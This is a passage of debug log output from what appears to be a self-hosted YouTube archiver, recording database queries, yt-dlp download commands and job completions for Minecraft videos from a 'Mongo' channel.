17:00:52Z], 31] 19:44:40.148 [debug] QUERY OK source="media_items" db=0.5ms idle=1099.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "f052e4ac-c24f-4489-abec-83730222022b", "dMFgYKWa7wk", false, "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, [], 893, false, 15, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, false, 98, ~U[2026-05-20 17:00:52Z], ~U[2026-06-03 23:44:40Z], ~U[2026-06-03 23:44:40Z], "Mongo Pretended to be a BABY AXOLOTL on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!", "dMFgYKWa7wk", "https://www.youtube.com/watch?v=dMFgYKWa7wk", 31, 893, false, "/downloads/rory/Mongo/2026-05-20 I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk!/I Pretended to be a BABY AXOLOTL on an OP ELEMENTAL One Chunk! [dMFgYKWa7wk].mp4", false, ~U[2026-05-20 17:00:52Z]] 19:44:40.148 [debug] QUERY OK source="sources" db=0.2ms idle=98.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:40.148 [debug] QUERY OK source="media_profiles" db=0.1ms idle=5.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:40.149 [debug] QUERY OK source="media_items" db=0.2ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138269] 19:44:40.149 [debug] Current batch of media processed. Will check again in 1000ms 19:44:41.150 [debug] Current batch of media processed. Will check again in 1000ms 19:44:41.600 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --sub-langs en --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/11/3411246b1d13b6dc2444b7c42338bbd9cf9dfe61dbccb93a4089461f84384f6c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:41.627 [debug] Running yt-dlp command for action: download_thumbnail 19:44:41.628 [debug] QUERY OK source="settings" db=0.1ms idle=1480.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:41.628 [debug] QUERY OK source="settings" db=0.1ms idle=1480.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:41.629 [debug] QUERY OK source="settings" db=0.1ms idle=1479.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:41.629 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141520/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/84/d0/84d019ad499ad7c907af6ab7aab391b1b865e9db86e7608603a53b218fd3d072.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:42.151 [debug] Current batch of media processed. Will check again in 1000ms 19:44:43.152 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 942, "filename" => "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", "id" => "N5Mo--bgYg8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=N5Mo--bgYg8", "playlist_index" => 16, "timestamp" => 1779210022, "title" => "I Pranked My Friends With SUNMAN in Minecraft!", "upload_date" => "20260519"} 19:44:43.153 [debug] QUERY OK source="sources" db=0.2ms idle=1100.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:43.153 [debug] QUERY OK source="sources" db=0.1ms idle=453.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:43.154 [debug] QUERY OK source="media_items" db=1.1ms idle=454.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-19 17:00:22Z], 31] 19:44:43.155 [debug] QUERY OK source="media_items" db=0.8ms idle=455.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "13ed3a18-8bfb-46bd-8b66-6d5acf603f3a", "N5Mo--bgYg8", false, "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, [], 942, false, 16, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, false, 98, ~U[2026-05-19 17:00:22Z], ~U[2026-06-03 23:44:43Z], ~U[2026-06-03 23:44:43Z], "Mongo Pranks his friends in Minecraft With SUNMAN In Minecraft! What Happens? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Pranked My Friends With SUNMAN in Minecraft!", "N5Mo--bgYg8", "https://www.youtube.com/watch?v=N5Mo--bgYg8", 31, 942, false, "/downloads/rory/Mongo/2026-05-19 I Pranked My Friends With SUNMAN in Minecraft!/I Pranked My Friends With SUNMAN in Minecraft! [N5Mo--bgYg8].mp4", false, ~U[2026-05-19 17:00:22Z]] 19:44:43.156 [debug] QUERY OK source="sources" db=0.1ms idle=102.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:43.156 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:43.156 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138054] 19:44:43.156 [debug] Current batch of media processed. Will check again in 1000ms 19:44:44.157 [debug] Current batch of media processed. Will check again in 1000ms 19:44:45.158 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1113, "filename" => "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", "id" => "SCT1zyFtWcA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=SCT1zyFtWcA", "playlist_index" => 17, "timestamp" => 1779123626, "title" => "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "upload_date" => "20260518"} 19:44:45.159 [debug] QUERY OK source="sources" db=0.2ms idle=459.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:45.159 [debug] QUERY OK source="sources" db=0.1ms idle=459.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:45.160 [debug] QUERY OK source="media_items" db=1.0ms idle=460.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-18 17:00:26Z], 31] 19:44:45.161 [debug] QUERY OK source="media_items" db=0.4ms idle=461.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "ecabf589-129d-4c44-af95-aa92a6f1a48a", "SCT1zyFtWcA", false, "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, [], 1113, false, 17, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, false, 98, ~U[2026-05-18 17:00:26Z], ~U[2026-06-03 23:44:45Z], ~U[2026-06-03 23:44:45Z], "Mongo and Axy are doing a build battle on who can build the best BLUEY! Who wins Mongo or Axy? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GIANT BLUEY In Minecraft Build Battle!", "SCT1zyFtWcA", "https://www.youtube.com/watch?v=SCT1zyFtWcA", 31, 1113, false, "/downloads/rory/Mongo/2026-05-18 I Cheated With GIANT BLUEY In Minecraft Build Battle!/I Cheated With GIANT BLUEY In Minecraft Build Battle! [SCT1zyFtWcA].mp4", false, ~U[2026-05-18 17:00:26Z]] 19:44:45.161 [debug] QUERY OK source="sources" db=0.1ms idle=105.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:45.162 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:45.162 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137842] 19:44:45.162 [debug] Current batch of media processed. Will check again in 1000ms 19:44:45.984 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=tdmv1MfjRsY --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/141520/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/84/d0/84d019ad499ad7c907af6ab7aab391b1b865e9db86e7608603a53b218fd3d072.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:45.985 [debug] QUERY OK db=0.0ms idle=824.3ms begin [] 19:44:45.985 [debug] QUERY OK source="media_items" db=0.5ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/rory/Mongo/2026-06-03 I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle!/I Cheated With WHAT THE DOG DOIN In Minecraft Build Battle! [tdmv1MfjRsY].mp4", ~U[2026-06-03 23:44:41Z], ~U[2026-06-03 23:44:45Z], 141520] 19:44:45.986 [debug] QUERY OK source="media_metadata" db=0.2ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/141520/metadata.json.gz", "/config/metadata/media_items/141520/thumbnail.jpg", 141520, ~U[2026-06-03 23:44:45Z], ~U[2026-06-03 23:44:45Z]] 19:44:45.986 [debug] QUERY OK db=0.2ms commit [] 19:44:45.987 [debug] QUERY OK source="media_items" db=0.5ms idle=825.4ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [384374217, ~U[2026-06-03 23:44:45Z], 141520] 19:44:45.987 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:45.987 [info] {"args":{"id":141520},"id":7281,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":52975535,"event":"job:stop","queue_time":11371,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:46.163 [debug] Current batch of media processed. Will check again in 1000ms 19:44:47.164 [debug] Current batch of media processed. Will check again in 1000ms 19:44:48.165 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 901, "filename" => "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", "id" => "GxN99c_ujUc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GxN99c_ujUc", "playlist_index" => 18, "timestamp" => 1779037217, "title" => "Pretending to be BABY CRABTANIC on an OP One Chunk...", "upload_date" => "20260517"} 19:44:48.166 [debug] QUERY OK source="sources" db=0.2ms idle=466.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:48.166 [debug] QUERY OK source="sources" db=0.1ms idle=467.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:48.168 [debug] QUERY OK source="media_items" db=1.3ms idle=467.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 17:00:17Z], 31] 19:44:48.169 [debug] QUERY OK source="media_items" db=0.6ms idle=469.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "398e38b7-d212-4175-b861-4dd1d316f12d", "GxN99c_ujUc", false, "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, [], 901, false, 18, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, false, 98, ~U[2026-05-17 17:00:17Z], ~U[2026-06-03 23:44:48Z], ~U[2026-06-03 23:44:48Z], "Mongo Pretended to be a BABY CRABTANIC on an One Chunk Minecraft! What does Mongo do? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Pretending to be BABY CRABTANIC on an OP One Chunk...", "GxN99c_ujUc", "https://www.youtube.com/watch?v=GxN99c_ujUc", 31, 901, false, "/downloads/rory/Mongo/2026-05-17 Pretending to be BABY CRABTANIC on an OP One Chunk..#/Pretending to be BABY CRABTANIC on an OP One Chunk... [GxN99c_ujUc].mp4", false, ~U[2026-05-17 17:00:17Z]] 19:44:48.169 [debug] QUERY OK source="sources" db=0.1ms idle=110.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:48.170 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:48.170 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" 